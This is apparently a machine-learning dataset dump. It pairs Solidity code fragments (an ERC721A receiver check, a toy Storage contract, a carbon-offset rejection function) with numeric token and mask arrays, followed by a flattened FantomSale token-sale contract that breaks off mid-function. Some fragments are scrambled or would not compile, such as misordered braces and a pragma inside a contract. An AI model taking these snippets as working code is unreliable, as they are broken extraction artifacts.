mload(reason)) } } } } } else { function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); assembly { revert(add(32, reason), mload(reason)) } } } } ) internal virtual {} ) internal virtual {} }
15,533,935
[ 1, 5787, 6912, 2710, 18, 27376, 358, 10979, 364, 2612, 16189, 4982, 2581, 312, 28142, 18, 25374, 2734, 87, 854, 695, 6979, 6261, 312, 474, 329, 5023, 622, 389, 1937, 1345, 548, 1435, 261, 7606, 358, 374, 16, 425, 18, 75, 18, 374, 16, 404, 16, 576, 16, 890, 838, 2934, 25374, 716, 392, 3410, 2780, 1240, 1898, 2353, 576, 1105, 300, 404, 261, 1896, 460, 434, 2254, 1105, 13, 434, 14467, 18, 25374, 716, 326, 4207, 1147, 612, 2780, 9943, 576, 5034, 300, 404, 261, 1896, 460, 434, 2254, 5034, 2934, 19, 12972, 903, 2298, 333, 1368, 279, 2202, 8303, 3682, 2076, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 27, 5340, 37, 353, 1772, 16, 4232, 39, 28275, 16, 467, 654, 39, 27, 5340, 16, 467, 654, 39, 27, 5340, 2277, 288, 203, 565, 1450, 5267, 364, 1758, 31, 203, 565, 1450, 8139, 364, 2254, 5034, 31, 203, 203, 565, 1958, 3155, 5460, 12565, 288, 203, 3639, 1758, 3091, 31, 203, 3639, 2254, 1105, 787, 4921, 31, 203, 3639, 1426, 18305, 329, 31, 203, 565, 289, 203, 203, 565, 1958, 5267, 751, 288, 203, 3639, 2254, 1105, 11013, 31, 203, 3639, 2254, 1105, 1300, 49, 474, 329, 31, 203, 3639, 2254, 1105, 1300, 38, 321, 329, 31, 203, 3639, 2254, 1105, 9397, 31, 203, 565, 289, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 565, 2254, 5034, 2713, 389, 2972, 1016, 31, 203, 565, 2254, 5034, 2713, 389, 70, 321, 4789, 31, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2874, 12, 11890, 5034, 516, 3155, 5460, 12565, 13, 2713, 389, 995, 12565, 87, 31, 203, 565, 2874, 12, 2867, 516, 5267, 751, 13, 3238, 389, 2867, 751, 31, 203, 565, 2874, 12, 11890, 5034, 516, 1758, 13, 3238, 389, 2316, 12053, 4524, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 1426, 3719, 3238, 389, 9497, 12053, 4524, 31, 203, 565, 3885, 12, 1080, 3778, 508, 67, 16, 533, 3778, 3273, 67, 13, 288, 203, 3639, 389, 529, 273, 508, 67, 31, 203, 3639, 389, 7175, 273, 3273, 67, 31, 203, 3639, 389, 2972, 1016, 273, 389, 2 ]
./full_match/4/0x972a2Ce33785C5331118A0e3662344854d2Fd8D3/sources/storage.sol
* @title Storage @dev Store & retrieve value in a variable/
contract Storage { uint256 number; pragma solidity ^0.8.0; function store(uint256 num) public { number = num; } function retrieve() public view returns (uint256){ return number; } }
12,437,682
[ 1, 3245, 225, 4994, 473, 4614, 460, 316, 279, 2190, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 5235, 288, 203, 203, 565, 2254, 5034, 1300, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 445, 1707, 12, 11890, 5034, 818, 13, 1071, 288, 203, 3639, 1300, 273, 818, 31, 203, 565, 289, 203, 203, 565, 445, 4614, 1435, 1071, 1476, 1135, 261, 11890, 5034, 15329, 203, 3639, 327, 1300, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0xa90dAF1975BA13c26F63976e0Fd73A21F966EE0D/sources/contracts/CarbonOffsetBatches.sol
@notice Function to reject Batch-NFTs, including a reason to be displayed to the user.
function rejectWithComment(uint256 tokenId, string memory comment) public virtual onlyVerifier whenNotPaused { rejectRetirement(tokenId); addComment(tokenId, comment); }
3,776,915
[ 1, 2083, 358, 4925, 5982, 17, 50, 4464, 87, 16, 6508, 279, 3971, 358, 506, 10453, 358, 326, 729, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4925, 1190, 4469, 12, 11890, 5034, 1147, 548, 16, 533, 3778, 2879, 13, 203, 3639, 1071, 203, 3639, 5024, 203, 3639, 1338, 17758, 203, 3639, 1347, 1248, 28590, 203, 565, 288, 203, 3639, 4925, 7055, 577, 475, 12, 2316, 548, 1769, 203, 3639, 527, 4469, 12, 2316, 548, 16, 2879, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; interface IAdmin { function isAdmin(address user) external view returns (bool); } // File @openzeppelin/contracts/token/ERC20/[email protected] /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/[email protected] /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/interfaces/ISalesFactory.sol pragma solidity 0.6.12; interface ISalesFactory { function setSaleOwnerAndToken(address saleOwner, address saleToken) external; function isSaleCreatedThroughFactory(address sale) external view returns (bool); } // File contracts/interfaces/IAllocationStaking.sol pragma solidity 0.6.12; interface IAllocationStaking { function redistributeFame(uint256 _pid, address _user, uint256 _amountToBurn) external; function deposited(uint256 _pid, address _user) external view returns (uint256); function setTokensUnlockTime(uint256 _pid, address _user, uint256 _tokensUnlockTime) external; } // File contracts/sales/FantomSale.sol pragma solidity 0.6.12; contract FantomSale { using SafeMath for uint256; using SafeERC20 for IERC20; // Pointer to Allocation staking contract, where burnFameFromUser will be called. IAllocationStaking public allocationStakingContract; // Pointer to sales factory contract ISalesFactory public factory; // Admin contract IAdmin public admin; struct Sale { // Token being sold IERC20 token; // Is sale created bool isCreated; // Are earnings withdrawn bool earningsWithdrawn; // Is leftover withdrawn bool leftoverWithdrawn; // Have tokens been deposited bool tokensDeposited; // Address of sale owner address saleOwner; // Price of the token quoted in FTM uint256 tokenPriceInFTM; // Amount of tokens to sell uint256 amountOfTokensToSell; // Total tokens being sold uint256 totalTokensSold; // Total FTM Raised uint256 totalFTMRaised; // Sale end time uint256 saleEnd; // When tokens can be withdrawn uint256 tokensUnlockTime; } // Participation structure struct Participation { uint256 amountBought; uint256 amountFTMPaid; uint256 timeParticipated; uint256 roundId; bool[] isPortionWithdrawn; } // Round structure struct Round { uint256 startTime; uint256 maxParticipation; } struct Registration { uint256 registrationTimeStarts; uint256 registrationTimeEnds; uint256 numberOfRegistrants; } // Sale Sale public sale; // Registration Registration public registration; // Number of users participated in the sale. uint256 public numberOfParticipants; // Array storing IDS of rounds (IDs start from 1, so they can't be mapped as array indexes uint256[] public roundIds; // Mapping round Id to round mapping(uint256 => Round) public roundIdToRound; // Mapping user to his participation mapping(address => Participation) public userToParticipation; // User to round for which he registered mapping(address => uint256) public addressToRoundRegisteredFor; // mapping if user is participated or not mapping(address => bool) public isParticipated; // wei precision uint256 public constant one = 10**18; // Times when portions are getting unlocked uint256[] public vestingPortionsUnlockTime; // Percent of the participation user can withdraw uint256[] public vestingPercentPerPortion; //Precision for percent for portion vesting uint256 public portionVestingPrecision; // Added configurable round ID for staking round uint256 public stakingRoundId; // Max vesting time shift uint256 public maxVestingTimeShift; // Registration deposit FTM, which will be paid during the registration, and returned back during the participation. uint256 public registrationDepositFTM; // Accounting total FTM collected, after sale admin can withdraw this uint256 public registrationFees; // Restricting calls only to sale owner modifier onlySaleOwner() { require(msg.sender == sale.saleOwner, "OnlySaleOwner:: Restricted"); _; } modifier onlyAdmin() { require( admin.isAdmin(msg.sender), "Only admin can call this function." ); _; } // EVENTS event TokensSold(address user, uint256 amount); event UserRegistered(address user, uint256 roundId); event TokenPriceSet(uint256 newPrice); event MaxParticipationSet(uint256 roundId, uint256 maxParticipation); event TokensWithdrawn(address user, uint256 amount); event SaleCreated( address saleOwner, uint256 tokenPriceInFTM, uint256 amountOfTokensToSell, uint256 saleEnd, uint256 tokensUnlockTime ); event RegistrationTimeSet( uint256 registrationTimeStarts, uint256 registrationTimeEnds ); event RoundAdded( uint256 roundId, uint256 startTime, uint256 maxParticipation ); event RegistrationFTMRefunded(address user, uint256 amountRefunded); // Constructor, always initialized through SalesFactory constructor(address _admin, address _allocationStaking) public { require(_admin != address(0)); require(_allocationStaking != address(0)); admin = IAdmin(_admin); factory = ISalesFactory(msg.sender); allocationStakingContract = IAllocationStaking(_allocationStaking); } /// @notice Function to set vesting params function setVestingParams( uint256[] memory _unlockingTimes, uint256[] memory _percents, uint256 _maxVestingTimeShift ) external onlyAdmin { require( vestingPercentPerPortion.length == 0 && vestingPortionsUnlockTime.length == 0 ); require(_unlockingTimes.length == _percents.length); require(portionVestingPrecision > 0, "Safeguard for making sure setSaleParams get first called."); require(_maxVestingTimeShift <= 30 days, "Maximal shift is 30 days."); // Set max vesting time shift maxVestingTimeShift = _maxVestingTimeShift; uint256 sum; for (uint256 i = 0; i < _unlockingTimes.length; i++) { vestingPortionsUnlockTime.push(_unlockingTimes[i]); vestingPercentPerPortion.push(_percents[i]); sum += _percents[i]; } require(sum == portionVestingPrecision, "Percent distribution issue."); } function shiftVestingUnlockingTimes(uint256 timeToShift) external onlyAdmin { require( timeToShift > 0 && timeToShift < maxVestingTimeShift, "Shift must be nonzero and smaller than maxVestingTimeShift." ); // Time can be shifted only once. maxVestingTimeShift = 0; for (uint256 i = 0; i < vestingPortionsUnlockTime.length; i++) { vestingPortionsUnlockTime[i] = vestingPortionsUnlockTime[i].add( 